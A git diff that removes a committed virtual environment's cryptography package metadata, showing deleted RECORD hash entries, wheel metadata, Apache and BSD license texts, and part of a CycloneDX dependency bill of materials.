-cryptography/hazmat/primitives/__pycache__/poly1305.cpython-314.pyc,, -cryptography/hazmat/primitives/_asymmetric.py,sha256=RhgcouUB6HTiFDBrR1LxqkMjpUxIiNvQ1r_zJjRG6qQ,532 -cryptography/hazmat/primitives/_cipheralgorithm.py,sha256=Eh3i7lwedHfi0eLSsH93PZxQKzY9I6lkK67vL4V5tOc,1522 -cryptography/hazmat/primitives/_modes.py,sha256=_EiAOD8Jb6WpFXluwkcUT3ECz_TH8xjGvbQlGkNm59Q,3075 -cryptography/hazmat/primitives/_serialization.py,sha256=hi0xJblBAZ8pmZx2lWa-lruphxvvvG3g9DNK0G8Odfs,4440 -cryptography/hazmat/primitives/asymmetric/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 -cryptography/hazmat/primitives/asymmetric/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/dh.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/dsa.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/ec.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/ed25519.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/ed448.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/mldsa.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/mlkem.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/padding.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/rsa.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/types.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/utils.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/x25519.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/__pycache__/x448.cpython-314.pyc,, -cryptography/hazmat/primitives/asymmetric/dh.py,sha256=Rnt2fLaDpQEjQSX8fNtlmTXOJHjlt_DKQZ1Vlfhdja4,5793 -cryptography/hazmat/primitives/asymmetric/dsa.py,sha256=kQzTViqAI9PiELNOBco_n6MfP3N9ehIPkSduOpupt0M,4482 -cryptography/hazmat/primitives/asymmetric/ec.py,sha256=LklVCLLxbbQzqiE6HRaYTRauLMphYUw3tE6c8oBIxYQ,10183 -cryptography/hazmat/primitives/asymmetric/ed25519.py,sha256=mbffLvs-3PgCDeg1rQXVXh7GLntlVL4ATjkIEc4pt5M,2998 -cryptography/hazmat/primitives/asymmetric/ed448.py,sha256=n0dK6y-VLxuw-zvrDxuPT4598hymgX-1Ry_jq9aUQhE,4002 -cryptography/hazmat/primitives/asymmetric/mldsa.py,sha256=LHMaaU0m66EsSrSodWf4e2kdmdDRTEGRC1y-fCKxGK0,13803 -cryptography/hazmat/primitives/asymmetric/mlkem.py,sha256=wvVkeFT-4of-VcUAER2-zI_5hXT6rwTJPMCQ8gF9GTA,7901 -cryptography/hazmat/primitives/asymmetric/padding.py,sha256=jbgajvGHYwkPjMDljHu5lxMBlDfmCxWUe2AF2S6KE10,3678 -cryptography/hazmat/primitives/asymmetric/rsa.py,sha256=lIE7lGe449W5URLTKCpvFGerITouKoZV9GwuTzScsSo,8492 -cryptography/hazmat/primitives/asymmetric/types.py,sha256=SjJhTrnFRLlTPdYrBD1poMi6cjYG-fh0fSIaQn3QUiw,2588 -cryptography/hazmat/primitives/asymmetric/utils.py,sha256=Qs8Re9GFPjW_tNp_73IeJEjPCf0slOIsWOxo6qymT6k,821 -cryptography/hazmat/primitives/asymmetric/x25519.py,sha256=lQcgUk-Piubj8ynFNWQeYme3tYZMgHQqkRKkIDOHLzo,3888 -cryptography/hazmat/primitives/asymmetric/x448.py,sha256=b37ig7k7poG6SJDry42j-ElCj5q4eQ0X5CFmN0Sn8z8,3913 -cryptography/hazmat/primitives/ciphers/__init__.py,sha256=eyEXmjk6_CZXaOPYDr7vAYGXr29QvzgWL2-4CSolLFs,680 -cryptography/hazmat/primitives/ciphers/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/primitives/ciphers/__pycache__/aead.cpython-314.pyc,, -cryptography/hazmat/primitives/ciphers/__pycache__/algorithms.cpython-314.pyc,, -cryptography/hazmat/primitives/ciphers/__pycache__/base.cpython-314.pyc,, -cryptography/hazmat/primitives/ciphers/__pycache__/modes.cpython-314.pyc,, -cryptography/hazmat/primitives/ciphers/aead.py,sha256=Fzlyx7w8KYQakzDp1zWgJnIr62zgZrgVh1u2h4exB54,634 -cryptography/hazmat/primitives/ciphers/algorithms.py,sha256=IGfCycYJOh1TvoI34rfw8KfJ_xmt1p_DpBht2Fghceo,3496 -cryptography/hazmat/primitives/ciphers/base.py,sha256=aBC7HHBBoixebmparVr0UlODs3VD0A7B6oz_AaRjDv8,4253 -cryptography/hazmat/primitives/ciphers/modes.py,sha256=H7AZSgJiSTBCi0grL97NxakS950JyFKYLsra8tjHPxQ,6003 -cryptography/hazmat/primitives/cmac.py,sha256=sz_s6H_cYnOvx-VNWdIKhRhe3Ymp8z8J0D3CBqOX3gg,338 -cryptography/hazmat/primitives/constant_time.py,sha256=xdunWT0nf8OvKdcqUhhlFKayGp4_PgVJRU2W1wLSr_A,422 -cryptography/hazmat/primitives/hashes.py,sha256=Srtwgc3_pFvZfIhRj9e1p4Wdi-F_PpleGHlqJARgtOg,7916 -cryptography/hazmat/primitives/hmac.py,sha256=RpB3z9z5skirCQrm7zQbtnp9pLMnAjrlTUvKqF5aDDc,423 -cryptography/hazmat/primitives/hpke.py,sha256=RsHissC5l-dTPn1p2JbcrIrAnDBrLqM5ugBFSGpmKu4,865 -cryptography/hazmat/primitives/kdf/__init__.py,sha256=v3yiYBGU272EojNXbwfYZdbbfI9cVOCCG3nXhTDda3k,1037 -cryptography/hazmat/primitives/kdf/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/__pycache__/argon2.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/__pycache__/concatkdf.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/__pycache__/hkdf.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/__pycache__/kbkdf.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/__pycache__/pbkdf2.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/__pycache__/scrypt.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/__pycache__/x963kdf.cpython-314.pyc,, -cryptography/hazmat/primitives/kdf/argon2.py,sha256=ZJx-enUlAA4o7b46C1wlzG_XAQQW0wIkFgUKkrM_wA8,632 -cryptography/hazmat/primitives/kdf/concatkdf.py,sha256=BFnOKS72txKF0yQvASr0Na7uhzvLHpUCckK5iNAC_aQ,591 -cryptography/hazmat/primitives/kdf/hkdf.py,sha256=M0lAEfRoc4kpp4-nwDj9yB-vNZukIOYEQrUlWsBNn9o,543 -cryptography/hazmat/primitives/kdf/kbkdf.py,sha256=C3w99vjFqhqzAxzFOH4zzvVoHkb5AC6Lz6AEQGV7d_g,737 -cryptography/hazmat/primitives/kdf/pbkdf2.py,sha256=Xchkk99s-Mk6b6KSCouqdk8FVyiNVOSFIenmnW3tLgQ,468 -cryptography/hazmat/primitives/kdf/scrypt.py,sha256=XyWUdUUmhuI9V6TqAPOvujCSMGv1XQdg0a21IWCmO-U,590 -cryptography/hazmat/primitives/kdf/x963kdf.py,sha256=QKjhRehuTsAstL384bKfvjuv1yfdamAHVhsBRWen2Vw,456 -cryptography/hazmat/primitives/keywrap.py,sha256=t9t8KZuzZ4Us30ASUhI27MZPPPKy4EERRDkAK-lM7TQ,735 -cryptography/hazmat/primitives/padding.py,sha256=QT-U-NvV2eQGO1wVPbDiNGNSc9keRDS-ig5cQOrLz0E,1865 -cryptography/hazmat/primitives/poly1305.py,sha256=P5EPQV-RB_FJPahpg01u0Ts4S_PnAmsroxIGXbGeRRo,355 -cryptography/hazmat/primitives/serialization/__init__.py,sha256=fXcu49ugL9rxhpRl_wZjnMqE9DCkhCMcsRxfj_qTveg,2217 -cryptography/hazmat/primitives/serialization/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/primitives/serialization/__pycache__/base.cpython-314.pyc,, -cryptography/hazmat/primitives/serialization/__pycache__/pkcs12.cpython-314.pyc,, -cryptography/hazmat/primitives/serialization/__pycache__/pkcs7.cpython-314.pyc,, -cryptography/hazmat/primitives/serialization/__pycache__/ssh.cpython-314.pyc,, -cryptography/hazmat/primitives/serialization/base.py,sha256=SABrvo0S86QcoBlj7DpjeLWy2lzQMryiioJ6DrEYQVA,651 -cryptography/hazmat/primitives/serialization/pkcs12.py,sha256=mS9cFNG4afzvseoc5e1MWoY2VskfL8N8Y_OFjl67luY,5104 -cryptography/hazmat/primitives/serialization/pkcs7.py,sha256=mFM7OFuZ8cCxUGUoo4Cof6BnCHc_Ibx1AQjjfxnPlxo,13998 -cryptography/hazmat/primitives/serialization/ssh.py,sha256=FisXe_nUKdPGfqENVhKpmoazmaI8qH8Ge-VGbc0dykw,53592 -cryptography/hazmat/primitives/twofactor/__init__.py,sha256=tmMZGB-g4IU1r7lIFqASU019zr0uPp_wEBYcwdDCKCA,258 -cryptography/hazmat/primitives/twofactor/__pycache__/__init__.cpython-314.pyc,, -cryptography/hazmat/primitives/twofactor/__pycache__/hotp.cpython-314.pyc,, -cryptography/hazmat/primitives/twofactor/__pycache__/totp.cpython-314.pyc,, -cryptography/hazmat/primitives/twofactor/hotp.py,sha256=ivZo5BrcCGWLsqql4nZV0XXCjyGPi_iHfDFltGlOJwk,3256 -cryptography/hazmat/primitives/twofactor/totp.py,sha256=m5LPpRL00kp4zY8gTjr55Hfz9aMlPS53kHmVkSQCmdY,1652 -cryptography/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -cryptography/utils.py,sha256=Ia7S0QZzS0ezwpIHQfY8G1e-o4GjrHijEXXjwAr1iuI,4635 -cryptography/x509/__init__.py,sha256=0KVNTmRtdYNX_i_ewsTNzbTm2e1qyfoOhc4emog5hL4,8253 -cryptography/x509/__pycache__/__init__.cpython-314.pyc,, -cryptography/x509/__pycache__/base.cpython-314.pyc,, -cryptography/x509/__pycache__/certificate_transparency.cpython-314.pyc,, -cryptography/x509/__pycache__/extensions.cpython-314.pyc,, -cryptography/x509/__pycache__/general_name.cpython-314.pyc,, -cryptography/x509/__pycache__/name.cpython-314.pyc,, -cryptography/x509/__pycache__/ocsp.cpython-314.pyc,, -cryptography/x509/__pycache__/oid.cpython-314.pyc,, -cryptography/x509/__pycache__/verification.cpython-314.pyc,, -cryptography/x509/base.py,sha256=UIMKkwmsx10BR3_gnBRBCBTwQp1-O8wkfVm7azH-_mE,28311 -cryptography/x509/certificate_transparency.py,sha256=JqoOIDhlwInrYMFW6IFn77WJ0viF-PB_rlZV3vs9MYc,797 -cryptography/x509/extensions.py,sha256=-iXcwWnIL1zl5Ml3BVJFkEo_71ncXe84ehvqzW1sK4M,77975 -cryptography/x509/general_name.py,sha256=sP_rV11Qlpsk4x3XXGJY_Mv0Q_s9dtjeLckHsjpLQoQ,7836 -cryptography/x509/name.py,sha256=oI2w6VdY8zgw7qpNhlxEx512W0AhWDXQrDYf5EsM2PY,15566 -cryptography/x509/ocsp.py,sha256=Yey6NdFV1MPjop24Mj_VenjEpg3kUaMopSWOK0AbeBs,12699 -cryptography/x509/oid.py,sha256=BUzgXXGVWilkBkdKPTm9R4qElE9gAGHgdYPMZAp7PJo,931 -cryptography/x509/verification.py,sha256=gR2C2c-XZQtblZhT5T5vjSKOtCb74ef2alPVmEcwFlM,958 diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/WHEEL b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/WHEEL deleted file mode 100644 index 1126eb3c82205fb67b2946a7d205dfd543af5027..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: maturin (1.14.1) -Root-Is-Purelib: false -Tag: cp311-abi3-win_amd64 diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE deleted file mode 100644 index b11f379efe1504d235b4d2d42685ba5dc6af6e9f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,3 +0,0 @@ -This software is made available under the terms of *either* of the licenses -found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made -under the terms of *both* these licenses. diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE.APACHE b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE.APACHE deleted file mode 100644 index 62589edd12a37dd28b6b6fed1e2d728ac9f05c8d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE.APACHE +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - https://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - https://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE.BSD b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE.BSD deleted file mode 100644 index ec1a29d34d6e419411c75523408aca72f705345c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/licenses/LICENSE.BSD +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) Individual contributors. -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - - 1. Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - 2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - - 3. Neither the name of PyCA Cryptography nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/sboms/cryptography-rust.cyclonedx.json b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/sboms/cryptography-rust.cyclonedx.json deleted file mode 100644 index 2e1d3c76a1b7980e720bfcdc641f1fe3c6e5545f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/sboms/cryptography-rust.cyclonedx.json +++ /dev/null @@ -1,1365 +0,0 @@ -{ - "bomFormat": "CycloneDX", - "specVersion": "1.5", - "version": 1, - "serialNumber": "urn:uuid:73ec3e06-7fd3-4d57-8b77-74a622b00b52", - "metadata": { - "timestamp": "2026-07-31T14:08:59.999352400Z", - "tools": [ - { - "vendor": "CycloneDX", - "name": "cargo-cyclonedx", - "version": "0.5.9" - } - ], - "authors": [ - { - "name": "The cryptography developers", - "email": "cryptography-dev@python.org" - } - ], - "component": { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust#cryptography-rust@0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-rust", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-rust@0.50.0?download_url=file://.", - "components": [ - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust#cryptography-rust@0.50.0 bin-target-0", - "name": "cryptography_rust", - "version": "0.50.0", - "purl": "pkg:cargo/cryptography-rust@0.50.0?download_url=file://.#src/lib.rs" - } - ] - }, - "properties": [ - { - "name": "cdx:rustc:sbom:target:all_targets", - "value": "true" - } - ] - }, - "components": [ - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-cffi#0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-cffi", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-cffi@0.50.0?download_url=file://cryptography-cffi" - }, - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-crypto#0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-crypto", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-crypto@0.50.0?download_url=file://cryptography-crypto" - }, - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-keepalive#0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-keepalive", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-keepalive@0.50.0?download_url=file://cryptography-keepalive" - }, - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-key-parsing#0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-key-parsing", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-key-parsing@0.50.0?download_url=file://cryptography-key-parsing" - }, - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-openssl#0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-openssl", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-openssl@0.50.0?download_url=file://cryptography-openssl" - }, - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509#0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-x509", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-x509@0.50.0?download_url=file://cryptography-x509" - }, - { - "type": "library", - "bom-ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509-verification#0.50.0", - "author": "The cryptography developers ", - "name": "cryptography-x509-verification", - "version": "0.50.0", - "scope": "required", - "licenses": [ - { - "expression": "Apache-2.0 OR BSD-3-Clause" - } - ], - "purl": "pkg:cargo/cryptography-x509-verification@0.50.0?download_url=file://cryptography-x509-verification" - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#asn1@0.24.1", - "author": "Alex Gaynor ", - "name": "asn1", - "version": "0.24.1", - "description": "ASN.1 (DER) parser and writer for Rust.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "c9795210620c0cb3f9a7ce4f882808c38e1ef7b347c90591dceae0886e031fb1" - } - ], - "licenses": [ - { - "expression": "BSD-3-Clause" - } - ], - "purl": "pkg:cargo/asn1@0.24.1", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/alex/rust-asn1" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#asn1_derive@0.24.1", - "author": "Alex Gaynor ", - "name": "asn1_derive", - "version": "0.24.1", - "description": "#[derive] support for asn1", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "909e307f1cc32bb8bccbd98f446e6d1bf03fa30f7b53a4337da7181ad30fa11a" - } - ], - "licenses": [ - { - "expression": "BSD-3-Clause" - } - ], - "purl": "pkg:cargo/asn1_derive@0.24.1", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/alex/rust-asn1" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#base64@0.23.0", - "author": "Marshall Pierce ", - "name": "base64", - "version": "0.23.0", - "description": "encodes and decodes base64 as bytes or utf8", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "b25655df2c3cdd83c5e5b293b88acd880332b2ddadd7c30ac43144fdc0033da9" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/base64@0.23.0", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/base64" - }, - { - "type": "vcs", - "url": "https://github.com/marshallpierce/rust-base64" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#bitflags@2.13.1", - "author": "The Rust Project Developers", - "name": "bitflags", - "version": "2.13.1", - "description": "A macro to generate structures which behave like bitflags. ", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/bitflags@2.13.1", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/bitflags" - }, - { - "type": "website", - "url": "https://github.com/bitflags/bitflags" - }, - { - "type": "vcs", - "url": "https://github.com/bitflags/bitflags" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#cc@1.4.0", - "author": "Alex Crichton ", - "name": "cc", - "version": "1.4.0", - "description": "A build-time dependency for Cargo build scripts to assist in invoking the native C compiler to compile native C code into a static archive to be linked into Rust code. ", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "5add81bb678e6cb321aff7fa0dc7689ad82b112dbc032cea19f91d6b8e3582b9" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" 